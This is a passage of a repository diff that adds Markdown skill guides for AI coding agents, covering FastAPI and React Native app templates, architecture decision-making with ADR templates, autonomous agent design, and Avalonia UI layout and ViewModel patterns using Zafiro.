+| SQLAlchemy 2.0 | Async sessions |
+
+---
+
+## API Structure
+
+| Layer | Responsibility |
+|-------|---------------|
+| Routers | HTTP handling |
+| Dependencies | Auth, validation |
+| Services | Business logic |
+| Models | Database entities |
+| Schemas | Request/response |
+
+---
+
+## Setup Steps
+
+1. `python -m venv venv`
+2. `source venv/bin/activate`
+3. `pip install fastapi uvicorn sqlalchemy alembic pydantic`
+4. Create `.env`
+5. `alembic upgrade head`
+6. `uvicorn app.main:app --reload`
+
+---
+
+## Best Practices
+
+- Use async everywhere
+- Pydantic v2 for validation
+- SQLAlchemy 2.0 async sessions
+- Alembic for migrations
+- pytest-asyncio for tests

skills/app-builder/templates/react-native-app/TEMPLATE.md

@@ -0,0 +1,93 @@
+---
+name: react-native-app
+description: React Native mobile app template principles. Expo, TypeScript, navigation.
+---
+
+# React Native App Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Framework | React Native + Expo |
+| Language | TypeScript |
+| Navigation | Expo Router |
+| State | Zustand + React Query |
+| Styling | NativeWind |
+| Testing | Jest + RNTL |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── app/                 # Expo Router (file-based)
+│   ├── _layout.tsx      # Root layout
+│   ├── index.tsx        # Home
+│   ├── (tabs)/          # Tab navigation
+│   └── [id].tsx         # Dynamic route
+├── components/
+│   ├── ui/              # Reusable
+│   └── features/
+├── hooks/
+├── lib/
+│   ├── api.ts
+│   └── storage.ts
+├── store/
+├── constants/
+└── app.json
+```
+
+---
+
+## Navigation Patterns
+
+| Pattern | Use |
+|---------|-----|
+| Stack | Page hierarchy |
+| Tabs | Bottom navigation |
+| Drawer | Side menu |
+| Modal | Overlay screens |
+
+---
+
+## State Management
+
+| Type | Tool |
+|------|------|
+| Local | Zustand |
+| Server | React Query |
+| Forms | React Hook Form |
+| Storage | Expo SecureStore |
+
+---
+
+## Key Packages
+
+| Package | Purpose |
+|---------|---------|
+| expo-router | File-based routing |
+| zustand | Local state |
+| @tanstack/react-query | Server state |
+| nativewind | Tailwind styling |
+| expo-secure-store | Secure storage |
+
+---
+
+## Setup Steps
+
+1. `npx create-expo-app {{name}} -t expo-template-blank-typescript`
+2. `npx expo install expo-router react-native-safe-area-context`
+3. Install state: `npm install zustand @tanstack/react-query`
+4. `npx expo start`
+
+---
+
+## Best Practices
+
+- Expo Router for navigation
+- Zustand for local, React Query for server state
+- NativeWind for consistent styling
+- Expo SecureStore for tokens
+- Test on both iOS and Android

skills/architecture/SKILL.md

@@ -0,0 +1,55 @@
+---
+name: architecture
+description: Architectural decision-making framework. Requirements analysis, trade-off evaluation, ADR documentation. Use when making architecture decisions or analyzing system design.
+allowed-tools: Read, Glob, Grep
+---
+
+# Architecture Decision Framework
+
+> "Requirements drive architecture. Trade-offs inform decisions. ADRs capture rationale."
+
+## 🎯 Selective Reading Rule
+
+**Read ONLY files relevant to the request!** Check the content map, find what you need.
+
+| File | Description | When to Read |
+|------|-------------|--------------|
+| `context-discovery.md` | Questions to ask, project classification | Starting architecture design |
+| `trade-off-analysis.md` | ADR templates, trade-off framework | Documenting decisions |
+| `pattern-selection.md` | Decision trees, anti-patterns | Choosing patterns |
+| `examples.md` | MVP, SaaS, Enterprise examples | Reference implementations |
+| `patterns-reference.md` | Quick lookup for patterns | Pattern comparison |
+
+---
+
+## 🔗 Related Skills
+
+| Skill | Use For |
+|-------|---------|
+| `@[skills/database-design]` | Database schema design |
+| `@[skills/api-patterns]` | API design patterns |
+| `@[skills/deployment-procedures]` | Deployment architecture |
+
+---
+
+## Core Principle
+
+**"Simplicity is the ultimate sophistication."**
+
+- Start simple
+- Add complexity ONLY when proven necessary
+- You can always add patterns later
+- Removing complexity is MUCH harder than adding it
+
+---
+
+## Validation Checklist
+
+Before finalizing architecture:
+
+- [ ] Requirements clearly understood
+- [ ] Constraints identified
+- [ ] Each decision has trade-off analysis
+- [ ] Simpler alternatives considered
+- [ ] ADRs written for significant decisions
+- [ ] Team expertise matches chosen patterns

skills/architecture/context-discovery.md

@@ -0,0 +1,43 @@
+# Context Discovery
+
+> Before suggesting any architecture, gather context.
+
+## Question Hierarchy (Ask User FIRST)
+
+1. **Scale**
+   - How many users? (10, 1K, 100K, 1M+)
+   - Data volume? (MB, GB, TB)
+   - Transaction rate? (per second/minute)
+
+2. **Team**
+   - Solo developer or team?
+   - Team size and expertise?
+   - Distributed or co-located?
+
+3. **Timeline**
+   - MVP/Prototype or long-term product?
+   - Time to market pressure?
+
+4. **Domain**
+   - CRUD-heavy or business logic complex?
+   - Real-time requirements?
+   - Compliance/regulations?
+
+5. **Constraints**
+   - Budget limitations?
+   - Legacy systems to integrate?
+   - Technology stack preferences?
+
+## Project Classification Matrix
+
+```
+                    MVP              SaaS           Enterprise
+┌─────────────────────────────────────────────────────────────┐
+│ Scale        │ <1K           │ 1K-100K      │ 100K+        │
+│ Team         │ Solo          │ 2-10         │ 10+          │
+│ Timeline     │ Fast (weeks)  │ Medium (months)│ Long (years)│
+│ Architecture │ Simple        │ Modular      │ Distributed  │
+│ Patterns     │ Minimal       │ Selective    │ Comprehensive│
+│ Example      │ Next.js API   │ NestJS       │ Microservices│
+└─────────────────────────────────────────────────────────────┘
+```

skills/architecture/examples.md

@@ -0,0 +1,94 @@
+# Architecture Examples
+
+> Real-world architecture decisions by project type.
+
+---
+
+## Example 1: MVP E-commerce (Solo Developer)
+
+```yaml
+Requirements:
+  - <1000 users initially
+  - Solo developer
+  - Fast to market (8 weeks)
+  - Budget-conscious
+
+Architecture Decisions:
+  App Structure: Monolith (simpler for solo)
+  Framework: Next.js (full-stack, fast)
+  Data Layer: Prisma direct (no over-abstraction)
+  Authentication: JWT (simpler than OAuth)
+  Payment: Stripe (hosted solution)
+  Database: PostgreSQL (ACID for orders)
+
+Trade-offs Accepted:
+  - Monolith → Can't scale independently (team doesn't justify it)
+  - No Repository → Less testable (simple CRUD doesn't need it)
+  - JWT → No social login initially (can add later)
+
+Future Migration Path:
+  - Users > 10K → Extract payment service
+  - Team > 3 → Add Repository pattern
+  - Social login requested → Add OAuth
+```
+
+---
+
+## Example 2: SaaS Product (5-10 Developers)
+
+```yaml
+Requirements:
+  - 1K-100K users
+  - 5-10 developers
+  - Long-term (12+ months)
+  - Multiple domains (billing, users, core)
+
+Architecture Decisions:
+  App Structure: Modular Monolith (team size optimal)
+  Framework: NestJS (modular by design)
+  Data Layer: Repository pattern (testing, flexibility)
+  Domain Model: Partial DDD (rich entities)
+  Authentication: OAuth + JWT
+  Caching: Redis
+  Database: PostgreSQL
+
+Trade-offs Accepted:
+  - Modular Monolith → Some module coupling (microservices not justified)
+  - Partial DDD → No full aggregates (no domain experts)
+  - RabbitMQ later → Initial synchronous (add when proven needed)
+
+Migration Path:
+  - Team > 10 → Consider microservices
+  - Domains conflict → Extract bounded contexts
+  - Read performance issues → Add CQRS
+```
+
+---
+
+## Example 3: Enterprise (100K+ Users)
+
+```yaml
+Requirements:
+  - 100K+ users
+  - 10+ developers
+  - Multiple business domains
+  - Different scaling needs
+  - 24/7 availability
+
+Architecture Decisions:
+  App Structure: Microservices (independent scale)
+  API Gateway: Kong/AWS API GW
+  Domain Model: Full DDD
+  Consistency: Event-driven (eventual OK)
+  Message Bus: Kafka
+  Authentication: OAuth + SAML (enterprise SSO)
+  Database: Polyglot (right tool per job)
+  CQRS: Selected services
+
+Operational Requirements:
+  - Service mesh (Istio/Linkerd)
+  - Distributed tracing (Jaeger/Tempo)
+  - Centralized logging (ELK/Loki)
+  - Circuit breakers (Resilience4j)
+  - Kubernetes/Helm
+```

skills/architecture/pattern-selection.md

@@ -0,0 +1,68 @@
+# Pattern Selection Guidelines
+
+> Decision trees for choosing architectural patterns.
+
+## Main Decision Tree
+
+```
+START: What's your MAIN concern?
+
+┌─ Data Access Complexity?
+│  ├─ HIGH (complex queries, testing needed)
+│  │  → Repository Pattern + Unit of Work
+│  │  VALIDATE: Will data source change frequently?
+│  │     ├─ YES → Repository worth the indirection
+│  │     └─ NO  → Consider simpler ORM direct access
+│  └─ LOW (simple CRUD, single database)
+│     → ORM directly (Prisma, Drizzle)
+│     Simpler = Better, Faster
+│
+├─ Business Rules Complexity?
+│  ├─ HIGH (domain logic, rules vary by context)
+│  │  → Domain-Driven Design
+│  │  VALIDATE: Do you have domain experts on team?
+│  │     ├─ YES → Full DDD (Aggregates, Value Objects)
+│  │     └─ NO  → Partial DDD (rich entities, clear boundaries)
+│  └─ LOW (mostly CRUD, simple validation)
+│     → Transaction Script pattern
+│     Simpler = Better, Faster
+│
+├─ Independent Scaling Needed?
+│  ├─ YES (different components scale differently)
+│  │  → Microservices WORTH the complexity
+│  │  REQUIREMENTS (ALL must be true):
+│  │    - Clear domain boundaries
+│  │    - Team > 10 developers
+│  │    - Different scaling needs per service
+│  │  IF NOT ALL MET → Modular Monolith instead
+│  └─ NO (everything scales together)
+│     → Modular Monolith
+│     Can extract services later when proven needed
+│
+└─ Real-time Requirements?
+   ├─ HIGH (immediate updates, multi-user sync)
+   │  → Event-Driven Architecture
+   │  → Message Queue (RabbitMQ, Redis, Kafka)
+   │  VALIDATE: Can you handle eventual consistency?
+   │     ├─ YES → Event-driven valid
+   │     └─ NO  → Synchronous with polling
+   └─ LOW (eventual consistency acceptable)
+      → Synchronous (REST/GraphQL)
+      Simpler = Better, Faster
+```
+
+## The 3 Questions (Before ANY Pattern)
+
+1. **Problem Solved**: What SPECIFIC problem does this pattern solve?
+2. **Simpler Alternative**: Is there a simpler solution?
+3. **Deferred Complexity**: Can we add this LATER when needed?
+
+## Red Flags (Anti-patterns)
+
+| Pattern | Anti-pattern | Simpler Alternative |
+|---------|-------------|-------------------|
+| Microservices | Premature splitting | Start monolith, extract later |
+| Clean/Hexagonal | Over-abstraction | Concrete first, interfaces later |
+| Event Sourcing | Over-engineering | Append-only audit log |
+| CQRS | Unnecessary complexity | Single model |
+| Repository | YAGNI for simple CRUD | ORM direct access |

skills/architecture/patterns-reference.md

@@ -0,0 +1,50 @@
+# Architecture Patterns Reference
+
+> Quick reference for common patterns with usage guidance.
+
+## Data Access Patterns
+
+| Pattern | When to Use | When NOT to Use | Complexity |
+|---------|-------------|-----------------|------------|
+| **Active Record** | Simple CRUD, rapid prototyping | Complex queries, multiple sources | Low |
+| **Repository** | Testing needed, multiple sources | Simple CRUD, single database | Medium |
+| **Unit of Work** | Complex transactions | Simple operations | High |
+| **Data Mapper** | Complex domain, performance | Simple CRUD, rapid dev | High |
+
+## Domain Logic Patterns
+
+| Pattern | When to Use | When NOT to Use | Complexity |
+|---------|-------------|-----------------|------------|
+| **Transaction Script** | Simple CRUD, procedural | Complex business rules | Low |
+| **Table Module** | Record-based logic | Rich behavior needed | Low |
+| **Domain Model** | Complex business logic | Simple CRUD | Medium |
+| **DDD (Full)** | Complex domain, domain experts | Simple domain, no experts | High |
+
+## Distributed System Patterns
+
+| Pattern | When to Use | When NOT to Use | Complexity |
+|---------|-------------|-----------------|------------|
+| **Modular Monolith** | Small teams, unclear boundaries | Clear contexts, different scales | Medium |
+| **Microservices** | Different scales, large teams | Small teams, simple domain | Very High |
+| **Event-Driven** | Real-time, loose coupling | Simple workflows, strong consistency | High |
+| **CQRS** | Read/write performance diverges | Simple CRUD, same model | High |
+| **Saga** | Distributed transactions | Single database, simple ACID | High |
+
+## API Patterns
+
+| Pattern | When to Use | When NOT to Use | Complexity |
+|---------|-------------|-----------------|------------|
+| **REST** | Standard CRUD, resources | Real-time, complex queries | Low |
+| **GraphQL** | Flexible queries, multiple clients | Simple CRUD, caching needs | Medium |
+| **gRPC** | Internal services, performance | Public APIs, browser clients | Medium |
+| **WebSocket** | Real-time updates | Simple request/response | Medium |
+
+---
+
+## Simplicity Principle
+
+**"Start simple, add complexity only when proven necessary."**
+
+- You can always add patterns later
+- Removing complexity is MUCH harder than adding it
+- When in doubt, choose simpler option

skills/architecture/trade-off-analysis.md

@@ -0,0 +1,77 @@
+# Trade-off Analysis & ADR
+
+> Document every architectural decision with trade-offs.
+
+## Decision Framework
+
+For EACH architectural component, document:
+
+```markdown
+## Architecture Decision Record
+
+### Context
+- **Problem**: [What problem are we solving?]
+- **Constraints**: [Team size, scale, timeline, budget]
+
+### Options Considered
+
+| Option | Pros | Cons | Complexity | When Valid |
+|--------|------|------|------------|-----------|
+| Option A | Benefit 1 | Cost 1 | Low | [Conditions] |
+| Option B | Benefit 2 | Cost 2 | High | [Conditions] |
+
+### Decision
+**Chosen**: [Option B]
+
+### Rationale
+1. [Reason 1 - tied to constraints]
+2. [Reason 2 - tied to requirements]
+
+### Trade-offs Accepted
+- [What we're giving up]
+- [Why this is acceptable]
+
+### Consequences
+- **Positive**: [Benefits we gain]
+- **Negative**: [Costs/risks we accept]
+- **Mitigation**: [How we'll address negatives]
+
+### Revisit Trigger
+- [When to reconsider this decision]
+```
+
+## ADR Template
+
+```markdown
+# ADR-[XXX]: [Decision Title]
+
+## Status
+Proposed | Accepted | Deprecated | Superseded by [ADR-YYY]
+
+## Context
+[What problem? What constraints?]
+
+## Decision
+[What we chose - be specific]
+
+## Rationale
+[Why - tie to requirements and constraints]
+
+## Trade-offs
+[What we're giving up - be honest]
+
+## Consequences
+- **Positive**: [Benefits]
+- **Negative**: [Costs]
+- **Mitigation**: [How to address]
+```
+
+## ADR Storage
+
+```
+docs/
+└── architecture/
+    ├── adr-001-use-nextjs.md
+    ├── adr-002-postgresql-over-mongodb.md
+    └── adr-003-adopt-repository-pattern.md
+```

skills/autonomous-agents/SKILL.md

@@ -0,0 +1,68 @@
+---
+name: autonomous-agents
+description: "Autonomous agents are AI systems that can independently decompose goals, plan actions, execute tools, and self-correct without constant human guidance. The challenge isn't making them capable - it's making them reliable. Every extra decision multiplies failure probability.  This skill covers agent loops (ReAct, Plan-Execute), goal decomposition, reflection patterns, and production reliability. Key insight: compounding error rates kill autonomous agents. A 95% success rate per step drops to 60% b"
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# Autonomous Agents
+
+You are an agent architect who has learned the hard lessons of autonomous AI.
+You've seen the gap between impressive demos and production disasters. You know
+that a 95% success rate per step means only 60% by step 10.
+
+Your core insight: Autonomy is earned, not granted. Start with heavily
+constrained agents that do one thing reliably. Add autonomy only as you prove
+reliability. The best agents look less impressive but work consistently.
+
+You push for guardrails before capabilities, logging befor
+
+## Capabilities
+
+- autonomous-agents
+- agent-loops
+- goal-decomposition
+- self-correction
+- reflection-patterns
+- react-pattern
+- plan-execute
+- agent-reliability
+- agent-guardrails
+
+## Patterns
+
+### ReAct Agent Loop
+
+Alternating reasoning and action steps
+
+### Plan-Execute Pattern
+
+Separate planning phase from execution
+
+### Reflection Pattern
+
+Self-evaluation and iterative improvement
+
+## Anti-Patterns
+
+### ❌ Unbounded Autonomy
+
+### ❌ Trusting Agent Outputs
+
+### ❌ General-Purpose Autonomy
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Issue | critical | ## Reduce step count |
+| Issue | critical | ## Set hard cost limits |
+| Issue | critical | ## Test at scale before production |
+| Issue | high | ## Validate against ground truth |
+| Issue | high | ## Build robust API clients |
+| Issue | high | ## Least privilege principle |
+| Issue | medium | ## Track context usage |
+| Issue | medium | ## Structured logging |
+
+## Related Skills
+
+Works well with: `agent-tool-builder`, `agent-memory-systems`, `multi-agent-orchestration`, `agent-evaluation`

skills/avalonia-layout-zafiro/SKILL.md

@@ -0,0 +1,59 @@
+---
+name: avalonia-layout-zafiro
+description: Guidelines for modern Avalonia UI layout using Zafiro.Avalonia, emphasizing shared styles, generic components, and avoiding XAML redundancy.
+allowed-tools: Read, Write, Edit, Glob, Grep
+---
+
+# Avalonia Layout with Zafiro.Avalonia
+
+> Master modern, clean, and maintainable Avalonia UI layouts.
+> **Focus on semantic containers, shared styles, and minimal XAML.**
+
+## 🎯 Selective Reading Rule
+
+**Read ONLY files relevant to the layout challenge!**
+
+---
+
+## 📑 Content Map
+
+| File | Description | When to Read |
+|------|-------------|--------------|
+| `themes.md` | Theme organization and shared styles | Setting up or refining app themes |
+| `containers.md` | Semantic containers (`HeaderedContainer`, `EdgePanel`, `Card`) | Structuring views and layouts |
+| `icons.md` | Icon usage with `IconExtension` and `IconOptions` | Adding and customizing icons |
+| `behaviors.md` | `Xaml.Interaction.Behaviors` and avoiding Converters | Implementing complex interactions |
+| `components.md` | Generic components and avoiding nesting | Creating reusable UI elements |
+
+---
+
+## 🔗 Related Project (Exemplary Implementation)
+
+For a real-world example, refer to the **Angor** project:
+`/mnt/fast/Repos/angor/src/Angor/Avalonia/Angor.Avalonia.sln`
+
+---
+
+## ✅ Checklist for Clean Layouts
+
+- [ ] **Used semantic containers?** (e.g., `HeaderedContainer` instead of `Border` with manual header)
+- [ ] **Avoided redundant properties?** Use shared styles in `axaml` files.
+- [ ] **Minimized nesting?** Flatten layouts using `EdgePanel` or generic components.
+- [ ] **Icons via extension?** Use `{Icon fa-name}` and `IconOptions` for styling.
+- [ ] **Behaviors over code-behind?** Use `Interaction.Behaviors` for UI-logic.
+- [ ] **Avoided Converters?** Prefer ViewModel properties or Behaviors unless necessary.
+
+---
+
+## ❌ Anti-Patterns
+
+**DON'T:**
+- Use hardcoded colors or sizes (literals) in views.
+- Create deep nesting of `Grid` and `StackPanel`.
+- Repeat visual properties across multiple elements (use Styles).
+- Use `IValueConverter` for simple logic that belongs in the ViewModel.
+
+**DO:**
+- Use `DynamicResource` for colors and brushes.
+- Extract repeated layouts into generic components.
+- Leverage `Zafiro.Avalonia` specific panels like `EdgePanel` for common UI patterns.

skills/avalonia-layout-zafiro/behaviors.md

@@ -0,0 +1,35 @@
+# Interactions and Logic
+
+To keep XAML clean and maintainable, minimize logic in views and avoid excessive use of converters.
+
+## 🎭 Xaml.Interaction.Behaviors
+
+Use `Interaction.Behaviors` to handle UI-related logic that doesn't belong in the ViewModel, such as focus management, animations, or specialized event handling.
+
+```xml
+<TextBox Text="{Binding Address}">
+    <Interaction.Behaviors>
+        <UntouchedClassBehavior />
+    </Interaction.Behaviors>
+</TextBox>
+```
+
+### Why use Behaviors?
+- **Encapsulation**: UI logic is contained in a reusable behavior class.
+- **Clean XAML**: Avoids code-behind and complex XAML triggers.
+- **Testability**: Behaviors can be tested independently of the View.
+
+## 🚫 Avoiding Converters
+
+Converters often lead to "magical" logic hidden in XAML. Whenever possible, prefer:
+
+1.  **ViewModel Properties**: Let the ViewModel provide the final data format (e.g., a `string` formatted for display).
+2.  **MultiBinding**: Use for simple logic combinations (And/Or) directly in XAML.
+3.  **Behaviors**: For more complex interactions that involve state or events.
+
+### When to use Converters?
+Only use them when the conversion is purely visual and highly reusable across different contexts (e.g., `BoolToOpacityConverter`).
+
+## 🧩 Simplified Interactions
+
+If you find yourself needing a complex converter or behavior, consider if the component can be simplified or if the data model can be adjusted to make the view binding more direct.

skills/avalonia-layout-zafiro/components.md

@@ -0,0 +1,41 @@
+# Building Generic Components
+
+Reducing nesting and complexity is achieved by breaking down views into generic, reusable components.
+
+## 🧊 Generic Components
+
+Instead of building large, complex views, extract recurring patterns into small `UserControl`s.
+
+### Example: A generic "Summary Item"
+Instead of repeating a `Grid` with labels and values:
+
+```xml
+<!-- ❌ BAD: Repeated Grid -->
+<Grid ColumnDefinitions="*,Auto">
+   <TextBlock Text="Total:" />
+   <TextBlock Grid.Column="1" Text="{Binding Total}" />
+</Grid>
+```
+
+Create a generic component (or use `EdgePanel` with a Style):
+
+```xml
+<!-- ✅ GOOD: Use a specialized control or style -->
+<EdgePanel StartContent="Total:" EndContent="{Binding Total}" Classes="SummaryItem" />
+```
+
+## 📉 Flattening Layouts
+
+Avoid deep nesting. Deeply nested XAML is hard to read and can impact performance.
+
+- **StackPanel vs Grid**: Use `StackPanel` (with `Spacing`) for simple linear layouts.
+- **EdgePanel**: Great for "Label - Value" or "Icon - Text - Action" rows.
+- **UniformGrid**: Use for grids where all cells are the same size.
+
+## 🔧 Component Granularity
+
+- **Atomical**: Small controls like custom buttons or icons.
+- **Molecular**: Groups of atoms like a `HeaderedContainer` with specific content.
+- **Organisms**: Higher-level sections of a page.
+
+Aim for components that are generic enough to be reused but specific enough to simplify the parent view significantly.

skills/avalonia-layout-zafiro/containers.md

@@ -0,0 +1,50 @@
+# Semantic Containers
+
+Using the right container for the data type simplifies XAML and improves maintainability. `Zafiro.Avalonia` provides specialized controls for common layout patterns.
+
+## 📦 HeaderedContainer
+
+Prefer `HeaderedContainer` over a `Border` or `Grid` when a section needs a title or header.
+
+```xml
+<HeaderedContainer Header="Security Settings" Classes="WizardSection">
+    <StackPanel>
+        <!-- Content here -->
+    </StackPanel>
+</HeaderedContainer>
+```
+
+### Key Properties:
+- `Header`: The content or string for the header.
+- `HeaderBackground`: Brush for the header area.
+- `ContentPadding`: Padding for the content area.
+
+## ↔️ EdgePanel
+
+Use `EdgePanel` to position elements at the edges of a container without complex `Grid` definitions.
+
+```xml
+<EdgePanel StartContent="{Icon fa-wallet}" 
+           Content="Wallet Balance" 
+           EndContent="$1,234.00" />
+```
+
+### Slots:
+- `StartContent`: Aligned to the left (or beginning).
+- `Content`: Fills the remaining space in the middle.
+- `EndContent`: Aligned to the right (or end).
+
+## 📇 Card
+
+A simple container for grouping related information, often used inside `HeaderedContainer` or as a standalone element in a list.
+
+```xml
+<Card Header="Enter recipient address:">
+    <TextBox Text="{Binding Address}" />
+</Card>
+```
+
+## 📐 Best Practices
+
+- Use `Classes` to apply themed variants (e.g., `Classes="Section"`, `Classes="Highlight"`).
+- Customize internal parts of the containers using templates in your styles when necessary, rather than nesting more controls.

skills/avalonia-layout-zafiro/icons.md

@@ -0,0 +1,53 @@
+# Icon Usage
+
+`Zafiro.Avalonia` simplifies icon management using a specialized markup extension and styling options.
+
+## 🛠️ IconExtension
+
+Use the `{Icon}` markup extension to easily include icons from libraries like FontAwesome.
+
+```xml
+<!-- Positional parameter -->
+<Button Content="{Icon fa-wallet}" />
+
+<!-- Named parameter -->
+<ContentControl Content="{Icon Source=fa-gear}" />
+```
+
+## 🎨 IconOptions
+
+`IconOptions` allows you to customize icons without manually wrapping them in other controls. It's often used in styles to provide a consistent look.
+
+```xml
+<Style Selector="HeaderedContainer /template/ ContentPresenter#Header EdgePanel /template/ ContentControl#StartContent">
+    <Setter Property="IconOptions.Size" Value="20" />
+    <Setter Property="IconOptions.Fill" Value="{DynamicResource Accent}" />
+    <Setter Property="IconOptions.Padding" Value="10" />
+    <Setter Property="IconOptions.CornerRadius" Value="10" />
+</Style>
+```
+
+### Common Properties:
+- `IconOptions.Size`: Sets the width and height of the icon.
+- `IconOptions.Fill`: The color/brush of the icon.
+- `IconOptions.Background`: Background brush for the icon container.
+- `IconOptions.Padding`: Padding inside the icon container.
+- `IconOptions.CornerRadius`: Corner radius if a background is used.
+
+## 📁 Shared Icon Resources
+
+Define icons as resources for reuse across the application.
+
+```xml
+<ResourceDictionary xmlns="https://github.com/avaloniaui">
+    <Icon x:Key="fa-wallet" Source="fa-wallet" />
+</ResourceDictionary>
+```
+
+Then use them with `StaticResource` if they are already defined:
+
+```xml
+<Button Content="{StaticResource fa-wallet}" />
+```
+
+However, the `{Icon ...}` extension is usually preferred for its brevity and ability to create new icon instances on the fly.

skills/avalonia-layout-zafiro/themes.md

@@ -0,0 +1,51 @@
+# Theme Organization and Shared Styles
+
+Efficient theme organization is key to avoiding redundant XAML and ensuring visual consistency.
+
+## 🏗️ Structure
+
+Follow the pattern from Angor:
+
+1.  **Colors & Brushes**: Define in a dedicated `Colors.axaml`. Use `DynamicResource` to support theme switching.
+2.  **Styles**: Group styles by category (e.g., `Buttons.axaml`, `Containers.axaml`, `Typography.axaml`).
+3.  **App-wide Theme**: Aggregate all styles in a main `Theme.axaml`.
+
+## 🎨 Avoiding Redundancy
+
+Instead of setting properties directly on elements:
+
+```xml
+<!-- ❌ BAD: Redundant properties -->
+<HeaderedContainer CornerRadius="10" BorderThickness="1" BorderBrush="Blue" Background="LightBlue" />
+<HeaderedContainer CornerRadius="10" BorderThickness="1" BorderBrush="Blue" Background="LightBlue" />
+
+<!-- ✅ GOOD: Use Classes and Styles -->
+<HeaderedContainer Classes="BlueSection" />
+<HeaderedContainer Classes="BlueSection" />
+```
+
+Define the style in a shared `axaml` file:
+
+```xml
+<Style Selector="HeaderedContainer.BlueSection">
+    <Setter Property="CornerRadius" Value="10" />
+    <Setter Property="BorderThickness" Value="1" />
+    <Setter Property="BorderBrush" Value="{DynamicResource Accent}" />
+    <Setter Property="Background" Value="{DynamicResource SurfaceSubtle}" />
+</Style>
+```
+
+## 🧩 Shared Icons and Resources
+
+Centralize icon definitions and other shared resources in `Icons.axaml` and include them in the `MergedDictionaries` of your theme or `App.axaml`.
+
+```xml
+<Application.Resources>
+    <ResourceDictionary>
+        <ResourceDictionary.MergedDictionaries>
+            <MergeResourceInclude Source="UI/Themes/Styles/Containers.axaml" />
+            <MergeResourceInclude Source="UI/Shared/Resources/Icons.axaml" />
+        </ResourceDictionary.MergedDictionaries>
+    </ResourceDictionary>
+</Application.Resources>
+```

skills/avalonia-viewmodels-zafiro/SKILL.md

@@ -0,0 +1,29 @@
+---
+name: avalonia-viewmodels-zafiro
+description: Optimal ViewModel and Wizard creation patterns for Avalonia using Zafiro and ReactiveUI.
+---
+
+# Avalonia ViewModels with Zafiro
+
+This skill provides a set of best practices and patterns for creating ViewModels, Wizards, and managing navigation in Avalonia applications, leveraging the power of **ReactiveUI** and the **Zafiro** toolkit.
+
+## Core Principles
+
+1.  **Functional-Reactive Approach**: Use ReactiveUI (`ReactiveObject`, `WhenAnyValue`, etc.) to handle state and logic.
+2.  **Enhanced Commands**: Utilize `IEnhancedCommand` for better command management, including progress reporting and name/text attributes.
+3.  **Wizard Pattern**: Implement complex flows using `SlimWizard` and `WizardBuilder` for a declarative and maintainable approach.
+4.  **Automatic Section Discovery**: Use the `[Section]` attribute to register and discover UI sections automatically.
+5.  **Clean Composition**: map ViewModels to Views using `DataTypeViewLocator` and manage dependencies in the `CompositionRoot`.
+
+## Guides
+
+- [ViewModels & Commands](viewmodels.md): Creating robust ViewModels and handling commands.
+- [Wizards & Flows](wizards.md): Building multi-step wizards with `SlimWizard`.
+- [Navigation & Sections](navigation_sections.md): Managing navigation and section-based UIs.
+- [Composition & Mapping](composition.md): Best practices for View-ViewModel wiring and DI.
+
+## Example Reference
+
+For real-world implementations, refer to the **Angor** project:
+- `CreateProjectFlowV2.cs`: Excellent example of complex Wizard building.
+- `HomeViewModel.cs`: Simple section ViewModel using functional-reactive commands.

skills/avalonia-viewmodels-zafiro/composition.md

@@ -0,0 +1,75 @@
+# Composition & Mapping
+
+Ensuring your ViewModels are correctly instantiated and mapped to their corresponding Views is crucial for a maintainable application.
+
+## ViewModel-to-View Mapping
+
+Zafiro uses the `DataTypeViewLocator` to automatically map ViewModels to Views based on their data type.
+
+### Integration in App.axaml
+
+Register the `DataTypeViewLocator` in your application's data templates:
+
+```xml
+<Application.DataTemplates>
+    <DataTypeViewLocator />
+    <DataTemplateInclude Source="avares://Zafiro.Avalonia/DataTemplates.axaml" />
+</Application.DataTemplates>
+```
+
+### Registration
+
+Mappings can be registered globally or locally. Common practice in Zafiro projects is to use naming conventions or explicit registrations made by source generators.
+
+## Composition Root
+
+Use a central `CompositionRoot` to manage dependency injection and service registration.
+
+```csharp
+public static class CompositionRoot
+{
+    public static IShellViewModel CreateMainViewModel(Control topLevelView)
+    {
+        var services = new ServiceCollection();
+        
+        services
+            .AddViewModels()
+            .AddUIServices(topLevelView);
+            
+        var serviceProvider = services.BuildServiceProvider();
+        return serviceProvider.GetRequiredService<IShellViewModel>();
+    }
+}
+```
+
+### Registering ViewModels
+
+Register ViewModels with appropriate scopes (Transient, Scoped, or Singleton).
+
+```csharp
+public static IServiceCollection AddViewModels(this IServiceCollection services)
+{
+    return services
+        .AddTransient<IHomeSectionViewModel, HomeSectionSectionViewModel>()
+        .AddSingleton<IShellViewModel, ShellViewModel>();
+}
+```
+
+## View Injection
+
+Use the `Connect` helper (if available) or manual instantiation in `OnFrameworkInitializationCompleted`:
+
+```csharp
+public override void OnFrameworkInitializationCompleted()
+{
+    this.Connect(
+        () => new ShellView(),
+        view => CompositionRoot.CreateMainViewModel(view),
+        () => new MainWindow());
+
+    base.OnFrameworkInitializationCompleted();
+}
+```
+
+> [!TIP]
+> Use `ActivatorUtilities.CreateInstance` when you need to manually instantiate a class while still resolving its dependencies from the `IServiceProvider`.

skills/avalonia-viewmodels-zafiro/navigation_sections.md

@@ -0,0 +1,53 @@
+# Navigation & Sections
+
+Zafiro provides powerful abstractions for managing application-wide navigation and modular UI sections.
+
+## Navigation with INavigator
+
+The `INavigator` interface is used to switch between different views or viewmodels.
+
+```csharp
+public class MyViewModel(INavigator navigator)
+{
+    public async Task GoToDetails()
+    {
+        await navigator.Navigate(() => new DetailsViewModel());
+    }
+}
+```
+
+## UI Sections
+
+Sections are modular parts of the UI (like tabs or sidebar items) that can be automatically registered.
+
+### The [Section] Attribute
+
+ViewModels intended to be sections should be marked with the `[Section]` attribute.
+
+```csharp
+[Section("Wallet", icon: "fa-wallet")]
+public class WalletSectionViewModel : IWalletSectionViewModel
+{
+    // ...
+}
+```
+
+### Automatic Registration
+
+In the `CompositionRoot`, sections can be automatically registered:
+
+```csharp
+services.AddAnnotatedSections(logger);
+services.AddSectionsFromAttributes(logger);
+```
+
+### Switching Sections
+
+You can switch the current active section via the `IShellViewModel`:
+
+```csharp
+shellViewModel.SetSection("Browse");
+```
+
+> [!IMPORTANT]
+> The `icon` parameter in the `[Section]` attribute supports FontAwesome icons (e.g., `fa-home`) when configured with `ProjektankerIconControlProvider`.

skills/avalonia-viewmodels-zafiro/viewmodels.md

